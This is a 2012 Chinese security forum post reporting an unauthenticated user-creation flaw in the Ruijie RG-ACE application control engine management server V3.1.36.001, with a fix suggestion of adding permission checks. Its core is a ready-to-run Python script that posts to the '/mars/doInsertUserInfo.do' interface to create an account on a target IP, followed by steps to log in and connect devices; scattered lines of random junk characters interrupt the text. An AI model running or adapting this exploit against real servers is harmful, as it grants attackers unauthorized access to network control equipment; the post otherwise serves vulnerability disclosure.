中国网络渗透测试联盟
标题:
锐捷应用控制引擎管理服务器可以增加用户
[打印本页]
作者:
admin
时间:
2012-12-10 10:16
标题:
锐捷应用控制引擎管理服务器可以增加用户
锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接
http://www.ruijie.com.cn/service/down-search.aspx
显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
' Y0 g4 Y+ n+ R; S3 e5 i
; W" M( L `0 M2 F" v6 ~/ k
/ D3 k8 y' C; a( ?& _2 A
测试的具体版本是
- U6 N& F0 \" p
产品名称: 锐捷应用控制引擎
# k( q( u' J; N+ }/ l2 B% W
版本号: 3.1.36.001 TC
# p) T* {9 G$ C; j2 [
编译时间: 201104291730
0 Q$ T$ D+ N! Y1 z# T+ Q+ r5 k
4 {! f# J# Y- O+ [0 L
; e$ a6 n5 `1 Y( Z# A H" K
漏洞证明：
& X% k& Q( y& v' ~; [" e
6 w+ g! B l( F% t" M
2 h' R* _1 G! ?* i+ ?
* M2 g V8 ^( |% }6 k* W* p
0 I, A7 R$ q" G7 u* h$ Y/ P9 L
; w5 e- c- P, e) u& o# N) d0 A
7 w! q* M( [( J0 o& [" I) J
执行脚本
% r E1 G+ |$ H) b8 z8 {$ L
#! /usr/bin/env python
+ M1 o: t, P6 `- g. U$ z
#coding=gbk
: k N! H! S+ q% o! C. M
#RG-ACE管理服务器 V3.1.36.001
/ C. Q4 E- @ V9 F6 w4 ?
import urllib2, urllib,cookielib
4 T) D! ?2 n, X* i
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
) i: W' ?; w% q0 T9 c
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
7 j* W: l4 L( x) p
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
+ y3 p) [8 n+ F
post=(("event","userManager.doInsertUserInfo"),
/ @- y4 u; j% B0 u2 I+ W; C
("useractionname","addButtonValue"),
7 I6 t# I5 j9 n: o& M( j+ Z
("useropermanager","userManager"),
8 c6 {8 L) g9 z
("userName","t"), #######账号自己加
/ h1 y- N) l0 s- t( j! q! ?
("pwd","aaaaaa"),######密码自己加
) ~ d! q V* B+ N& ^! s
("trueName","ad"),
/ A9 j) v* O; M# c( a
("email",""),
( _: ]7 _0 c$ Q" F7 h8 W
("mobilePhone",""),
/ F% p* C) P% ~$ q0 L* ^
("officePhone",""),
4 ^/ p' U- \! H/ n$ j% J' V
("addr",""),
# _8 I- K, w% S9 V: M/ V: q
("submit","确定"))
+ V, B" ]' ?2 E- ]+ o2 a
urllib2.install_opener(opener)
/ ]8 p# ^' Y8 {, r+ l% q1 k; g5 `
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
& h1 g8 ^- q# Q$ T9 |: M0 h7 U
print "Done"
* |. s8 k& b' S. q0 R
. Q; K. f# o1 _" g% S, z
登录，连接设备
. \3 _) b& f# E
|: M8 G* i9 _6 U! s: O: Y
M1 O+ B4 r+ s1 _ @* X [
, j' @: y) ^7 |$ M* X
8 A# W- @, Z, Q# J; a* f2 h( W9 {
' k' c& t! @0 S
默认的管理员admin权限更大点
4 F, e4 D# t4 w* Z
: M; a& G8 G9 C
" J3 e \ e+ @% R% R# K: Z
: c8 p+ _, O A3 e. a
' J# ] Z \ \, \
9 l* G8 P" f# V4 Y
修复方案：
" i$ l, W4 T" m2 I' R1 `: B& J
加强对接口的权限验证
& n2 Z3 \% ^4 d& C; R* ]
: z; p& c2 X5 E( E
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2